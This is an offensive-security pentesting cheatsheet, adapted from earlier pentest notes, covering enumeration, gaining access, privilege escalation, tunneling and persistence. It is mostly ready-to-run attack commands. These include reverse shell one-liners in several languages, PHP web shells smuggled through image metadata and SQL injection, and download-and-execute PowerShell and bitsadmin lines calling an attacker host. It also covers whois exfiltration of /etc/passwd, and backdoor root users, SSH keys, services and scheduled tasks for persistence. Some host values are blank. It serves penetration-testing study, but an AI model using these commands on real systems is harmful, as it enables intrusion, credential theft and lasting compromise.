Offensive Security / PenTesting Cheatsheets

Reconnaissance / Enumeration

Extracting Live IPs from Nmap Scan

nmap --open -oG scan-results; cat scan-results | grep "/open" | cut -d " " -f 2 > exposed-services-ips

Simple Port Knocking

for x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x; done

DNS lookups, Zone Transfers & Brute-Force

whois domain.com
dig {a|txt|ns|mx} domain.com
dig {a|txt|ns|mx} domain.com @ns1.domain.com
host -t {a|txt|ns|mx} megacorpone.com
host -a megacorpone.com
host -l megacorpone.com ns1.megacorpone.com
dnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com
dnsenum domain.com
nslookup -> set type=any -> ls -d domain.com
for sub in $(cat subdomains.txt);do host $sub.domain.com|grep "has.address";done

Banner Grabbing

nc -v $TARGET 80
telnet $TARGET 80
curl -vX $TARGET

NFS Exported Shares

List NFS exported shares. If ‘rw,no_root_squash’ is present, upload and execute sid-shell

showmount -e
chown root:root sid-shell; chmod +s sid-shell

Kerberos User Enumeration

nmap $TARGET -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='test'

HTTP Brute-Force & Vulnerability Scanning

target=; gobuster -u http://$target -r -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt -t 150 -l | tee $target-gobuster
target=; nikto -h http://$target:80 | tee $target-nikto
target=; wpscan --url http://$target:80 --enumerate u,t,p | tee $target-wpscan-enum

RPC / NetBios / SMB

rpcinfo -p $TARGET
nbtscan $TARGET

#list shares
smbclient -L //$TARGET -U ""

# null session
rpcclient -U "" $TARGET
smbclient -L //$TARGET
enum4linux $TARGET


# Windows User Accounts
snmpwalk -c public -v1 $TARGET

# Windows Running Programs
snmpwalk -c public -v1 $TARGET

# Windows Hostname
snmpwalk -c public -v1 $TARGET .

# Windows Share Information
snmpwalk -c public -v1 $TARGET

# Windows Share Information
snmpwalk -c public -v1 $TARGET

# Windows TCP Ports
snmpwalk -c public -v1 $TARGET4

# Software Name
snmpwalk -c public -v1 $TARGET

# brute-force community strings
onesixtyone -i snmp-ips.txt -c community.txt

snmp-check $TARGET


smtp-user-enum -U /usr/share/wordlists/names.txt -t $TARGET -m 150

Gaining Access

Reverse Shell One-Liners


bash -i >& /dev/tcp/ 0>&1


perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

URL-Encoded Perl: Linux



python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


ruby -rsocket -e'f=TCPSocket.open("",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Netcat without -e #1

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 1234 > /tmp/f

Netcat without -e #2

nc localhost 443 | /bin/sh | nc localhost 444
telnet localhost 443 | /bin/sh | telnet localhost 444


r = Runtime.getRuntime(); p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]); p.waitFor();


xterm -display


print new java.lang.String(new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.Runtime().exec("whoami").getInputStream())).readLine())

Working with Restricted Shells

# rare cases
ssh bill@localhost ls -l /tmp
nice /bin/bash

Interactive TTY Shells

/usr/bin/expect sh
python -c ‘import pty; pty.spawn(“/bin/sh”)’
# execute one command with su as another user if you do not have access to the shell. Credit to g0blin.co.uk
python -c 'import pty,subprocess,os,time;(master,slave)=pty.openpty();p=subprocess.Popen(["/bin/su","-c","id","bynarr"],stdin=slave,stdout=slave,stderr=slave);os.read(master,1024);os.write(master,"fruity\n");time.sleep(0.1);print os.read(master,1024);'

Uploading/POSTing Files Through WWW Upload Forms

# POST file
curl -X POST -F "file=@/file/location/shell.php" http://$TARGET/upload.php --cookie "cookie"

# POST binary data to web form
curl -F "field=<shell.zip" http://$TARGET/upld.php -F 'k=v' --cookie "k=v;" -F "submit=true" -L -v

PUTing File on the Webhost via PUT verb

curl -X PUT -d '<?php system($_GET["c"]);?>'

Generating Payload Pattern & Calculating Offset

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 2000
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q $EIP_VALUE

Bypassing File Upload Restrictions

  • file.php -> file.jpg
  • file.php -> file.php.jpg
  • file.asp -> file.asp;.jpg
  • file.gif (contains php code, but starts with string GIF/GIF98)
  • 00%
  • file.jpg with php backdoor in exif (see below)
  • .jpg -> proxy intercept -> rename to .php

Injecting PHP into JPEG

exiv2 -c'A "<?php system($_REQUEST['cmd']);?>"!' backdoor.jpeg
exiftool “-comment<=back.php” back.png

Uploading .htaccess to interpret .blah as .php

AddType application/x-httpd-php .blah

Cracking Passwords

Cracking Web Forms with Hydra

hydra http-post-form -L /usr/share/wordlists/list "/endpoit/login:usernameField=^USER^&passwordField=^PASS^:unsuccessfulMessage" -s PORT -P /usr/share/wordlists/list

Cracking Common Protocols with Hydra

hydra -l username -P /usr/share/wordlists/list ftp|ssh|smb://

HashCat Cracking

# Bruteforce based on the pattern;
hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout  

# Generate password candidates: wordlist + pattern;
hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/usr/share/wordlists/rockyou.txt ?d?d?d?u?u?u --force --potfile-disable --stdout

Generating Payload with msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST= LPORT=443 -f c -a x86 --platform windows -b "\x00\x0a\x0d" -e x86/shikata_ga_nai

Compiling Code From Linux

# Windows
i686-w64-mingw32-gcc source.c -lws2_32 -o out.exe

# Linux
gcc -m32|-m64 -o output source.c

Local File Inclusion to Shell

nc 80
GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Connection: close

# Then send as cmd payload via

Local File Inclusion: Reading Files


    POST: <?php system($_GET['cmd']); ?>
    POST: <?php system('uname -a');die(); ?>


# ZIP Wrapper
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;   
mv payload.zip shell.jpg;    

# Loop through file descriptors
curl '' -H 'Cookie: PHPSESSID=df74dce800c96bcac1f59d3b3d42087d' --output -

Remote File Inclusion Shell: Windows + PHP

<?php system("powershell -Command \"& {(New-Object System.Net.WebClient).DownloadFile('','nc.exe'); cmd /c nc.exe 4444 -e cmd.exe\" }"); ?>

SQL Injection to Shell or Backdoor

# Assumed 3 columns
http://target/index.php?vulnParam=0' UNION ALL SELECT 1,"<?php system($_REQUEST['cmd']);?>",2,3 INTO OUTFILE "c:/evil.php"-- uMj
# sqlmap; post-request - captured request via Burp Proxy via Save Item to File.
sqlmap -r post-request -p item --level=5 --risk=3 --dbms=mysql --os-shell --threads 10
# netcat reverse shell via mssql injection when xp_cmdshell is available

SQLite Injection to Shell or Backdoor

ATTACH DATABASE '/home/www/public_html/uploads/phpinfo.php' as pwn; 
CREATE TABLE pwn.shell (code TEXT); 
INSERT INTO pwn.shell (code) VALUES ('<?php system($_REQUEST['cmd']);?>');

MS-SQL Console

mssqlclient.py -port 27900 user:password@
sqsh -S -U user -P password

Upgradig Non-Interactive Shell

python -c 'import pty; pty.spawn("/bin/sh")'
/bin/busybox sh

Python Input Code Injection


Local Enumeration & Privilege Escalation

Binary Exploitation with ImmunityDebugger

Get Loaded Modules

# We're interested in modules without protection, Read & Execute permissions
!mona modules

Finding JMP ESP Address

!mona find -s "\xFF\xE4" -m moduleName

Cracking a ZIP Password

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt bank-account.zip

Setting up Simple HTTP server

# Linux
python -m SimpleHTTPServer 80
python3 -m http.server
ruby -r webrick -e "WEBrick::HTTPServer.new(:Port => 80, :DocumentRoot => Dir.pwd).start"
php -S

MySQL User Defined Fuction Privilge Escalation

Requires raptor_udf2.c and sid-shell.c or full tarball

gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
use mysql;
create table npn(line blob);
insert into npn values(load_file('/tmp/raptor_udf2.so'));
select * from npn into dumpfile '/usr/lib/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chown root:root /tmp/sid-shell; chmod +s /tmp/sid-shell');

Docker Privilege Esclation

echo -e "FROM ubuntu:14.04\nENV WORKDIR /stuff\nRUN mkdir -p /stuff\nVOLUME [ /stuff ]\nWORKDIR /stuff" > Dockerfile && docker build -t my-docker-image . && docker run -v $PWD:/stuff -t my-docker-image /bin/sh -c 'cp /bin/sh /stuff && chown root.root /stuff/sh && chmod a+s /stuff/sh' && ./sh -c id && ./sh

Resetting root Password

echo "root:spotless" | chpasswd

Uploading Files to Target Machine


#TFTP Linux: cat /etc/default/atftpd to find out file serving location; default in kali /srv/tftp
service atftpd start

# Windows
tftp -i $ATTACKER get /download/location/file /save/location/file


# Linux: set up ftp server with anonymous logon access;
twistd -n ftp -p 21 -r /file/to/serve

# Windows shell: read FTP commands from ftp-commands.txt non-interactively;
echo open $ATTACKER>ftp-commands.txt
echo anonymous>>ftp-commands.txt
echo whatever>>ftp-commands.txt
echo binary>>ftp-commands.txt
echo get file.exe>>ftp-commands.txt
echo bye>>ftp-commands.txt 
ftp -s:ftp-commands.txt

# Or just a one-liner
(echo open anonymous&echo whatever&echo binary&echo get nc.exe&echo bye) > ftp.txt & ftp -s:ftp.txt & nc.exe 443 -e cmd


<?php file_put_contents("/var/tmp/shell.php", file_get_contents("")); ?>


python -c "from urllib import urlretrieve; urlretrieve('', 'C:\\Temp\\nc.exe')"

HTTP: Powershell

powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); cmd /c nc.exe $ATTACKER 4444 -e cmd.exe" }
powershell -Command "& {(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe'); Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'" }
powershell -Command "(New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/nc.exe','nc.exe')"; Start-Process nc.exe -NoNewWindow -Argumentlist '$ATTACKER 4444 -e cmd.exe'"
powershell (New-Object System.Net.WebClient).DownloadFile('http://$ATTACKER/file.exe','file.exe');(New-Object -com Shell.Application).ShellExecute('file.exe');

HTTP: VBScript

Copy and paste contents of wget.vbs into a Windows Shell and then:

cscript wget.vbs http://$ATTACKER/file.exe localfile.exe

HTTP: Linux

wget http://$ATTACKER/file
curl http://$ATTACKER/file -O
scp ~/file/file.bin user@$TARGET:tmp/backdoor.py


# Attacker
nc -l -p 4444 < /tool/file.exe

# Victim
nc $ATTACKER 4444 > file.exe

HTTP: Windows “debug.exe” Method

# 1. In Linux, convert binary to hex ascii:
wine /usr/share/windows-binaries/exe2bat.exe /root/tools/netcat/nc.exe nc.txt
# 2. Paste nc.txt into Windows Shell.

HTTP: Windows BitsAdmin

cmd.exe /c "bitsadmin /transfer myjob /download /priority high http://$ATTACKER/payload.exe %tmp%\payload.exe&start %tmp%\payload.exe

Whois Data Exfiltration

# attacker
nc -l -v -p 43 | sed "s/ //g" | base64 -d
# victim
whois -h $attackerIP -p 43 `cat /etc/passwd | base64`

Bash Ping Sweeper

for lastOctet in {1..254}; do 
    ping -c 1 10.0.0.$lastOctet | grep "bytes from" | cut -d " " -f 4 | cut -d ":" -f 1 &

Brute-forcing XOR’ed string with 1 byte key in Python

encrypted = "encrypted-string-here"
for i in range(0,255):
    print("".join([chr(ord(e) ^ i) for e in encrypted]))

Generating Bad Character Strings

# Python
'\\'.join([ "x{:02x}".format(i) for i in range(1,256) ])
# Bash
for i in {1..255}; do printf "\\\x%02x" $i; done; echo -e "\r"

Converting Python to Windows Executable (.py -> .exe)

python pyinstaller.py --onefile convert-to-exe.py

Port Scanning with NetCat

nc -nvv -w 1 -z host 1000-2000
nc -nv -u -z -w 1 host 160-162

Exploiting Vulnerable Windows Services: Weak Service Permissions

# Look for SERVICE_ALL_ACCESS in the output
accesschk.exe /accepteula -uwcqv "Authenticated Users" *

sc config [service_name] binpath= "C:\nc.exe 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""
sc qc [service_name] (to verify!)
sc start [service_name]

Creating Persistence

sc create spotlessSrv binpath= "C:\nc.exe 443 -e C:\WINDOWS\System32\cmd.exe" obj= "LocalSystem" password= ""

Port Forwarding / SSH Tunneling

SSH: Local Port Forwarding

# Listen on local port 8080 and forward incoming traffic to REMOT_HOST:PORT via SSH_SERVER
# Scenario: access a host that's being blocked by a firewall via SSH_SERVER;
ssh -L user@SSH_SERVER

SSH: Dynamic Port Forwarding

# Listen on local port 8080. Incoming traffic to forwards it to final destination via SSH_SERVER
# Scenario: proxy your web traffic through SSH tunnel OR access hosts on internal network via a compromised DMZ box;
ssh -D user@SSH_SERVER

SSH: Remote Port Forwarding

# Open port 5555 on SSH_SERVER. Incoming traffic to SSH_SERVER:5555 is tunneled to LOCALHOST:3389
# Scenario: expose RDP on non-routable network;
ssh -R 5555:LOCAL_HOST:3389 user@SSH_SERVER
plink -R ATTACKER:ATTACKER_PORT:127.0.01:80 -l root -pw pw ATTACKER_IP

Proxy Tunnel

# Open a local port Incoming traffic to 5555 is proxied to DESTINATION_HOST through PROXY_HOST:3128
# Scenario: a remote host has SSH running, but it's only bound to, but you want to reach it;
proxytunnel -p PROXY_HOST:3128 -d DESTINATION_HOST:22 -a 5555
ssh user@ -p 5555

HTTP Tunnel: SSH Over HTTP

# Server - open port 80. Redirect all incoming traffic to localhost:80 to localhost:22
hts -F localhost:22 80

# Client - open port 8080. Redirect all incoming traffic to localhost:8080 to
htc -F 8080

# Client - connect to localhost:8080 -> get tunneled to -> get redirected to
ssh localhost -p 8080

RunAs / Start Process As


# Requires PSRemoting
$username = 'Administrator';$password = '1234test';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;Invoke-Command -Credential $credential -ComputerName COMPUTER_NAME -Command { whoami }

# without PSRemoting
cmd> powershell Start-Process cmd.exe -Credential (New-Object System.Management.Automation.PSCredential 'username', (ConvertTo-SecureString 'password' -AsPlainText -Force))

# without PS Remoting, with arguments
cmd> powershell -command "start-process cmd.exe -argumentlist '/c calc' -Credential (New-Object System.Management.Automation.PSCredential 'username',(ConvertTo-SecureString 'password' -AsPlainText -Force))"


# Requires interactive console
runas /user:userName cmd.exe


psexec -accepteula -u user -p password cmd /c c:\temp\nc.exe 80 -e cmd.exe


pth-winexe -U user%pass --runas=user%pass // cmd.exe

Recursively Find Hidden Files: Windows

dir /A:H /s "c:\program files"

General File Search

# Query the local db for a quick file find. Run updatedb before executing locate.
locate passwd 

# Show which file would be executed in the current environment, depending on $PATH environment variable;
which nc wget curl php perl python netcat tftp telnet ftp

# Search for *.conf (case-insensitive) files recursively starting with /etc;
find /etc -iname *.conf

Post-Exploitation & Maintaining Access

Browsing Registry Hives

hivesh /registry/file

Decrypting VNC Password

wine vncpwdump.exe -k key

Creating User and Adding to Local Administrators

net user spotless spotless /add & net localgroup Administrators spotless /add

Creating SSH Authorized Keys

mkdir /root/.ssh 2>/dev/null; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQChKCUsFVWj1Nz8SiM01Zw/BOWcMNs2Zwz3MdT7leLU9/Un4mZ7vjco0ctsyh2swjphWr5WZG28BN90+tkyj3su23UzrlgEu3SaOjVgxhkx/Pnbvuua9Qs9gWbWyRxexaC1eDb0pKXHH2Msx+GlyjfDOngq8tR6tkU8u1S4lXKLejaptiz0q6P0CcR6hD42IYkqyuWTNrFdSGLtiPCBDZMZ/5g1cJsyR59n54IpV0b2muE3F7+NPQmLx57IxoPjYPNUbC6RPh/Saf7o/552iOcmVCdLQDR/9I+jdZIgrOpstqSiJooU9+JImlUtAkFxZ9SHvtRbFt47iH7Sh7LiefP5 root@kali' >> /root/.ssh/authorized_keys

Creating Backdoor User w/o Password

echo 'spotless::0:0:root:/root:/bin/bash' >> /etc/passwd

# Rarely needed, but if you need to add a password to the previously created user by using useradd and passwd is not working. Pwd is "kali"
sed 's/!/\$6$o1\.HFMVM$a3hY6OPT\/DiQYy4koI6Z3\/sLiltsOcFoS5yCKhBBqQLH5K1QlHKL8\/6wJI6uF\/Q7mniOdq92v6yjzlVlXlxkT\./' /etc/shadow > /etc/s2; cat /etc/s2 > /etc/shadow; rm /etc/s2

Creating Another root User

useradd -u0 -g0 -o -s /bin/bash -p `openssl passwd yourpass` rootuser

Generating OpenSSL Password

openssl passwd -1 password 
# output $1$YKbEkrkZ$7Iy/M3exliD/yJfJVeTn5.

Persistent Back Doors

# Launch evil.exe every 10 minutes
schtasks /create /sc minute /mo 10 /tn "TaskName" /tr C:\Windows\system32\evil.exe

This was inspired by and forked/adapted/updated from Dostoevsky’s Pentest Notes.


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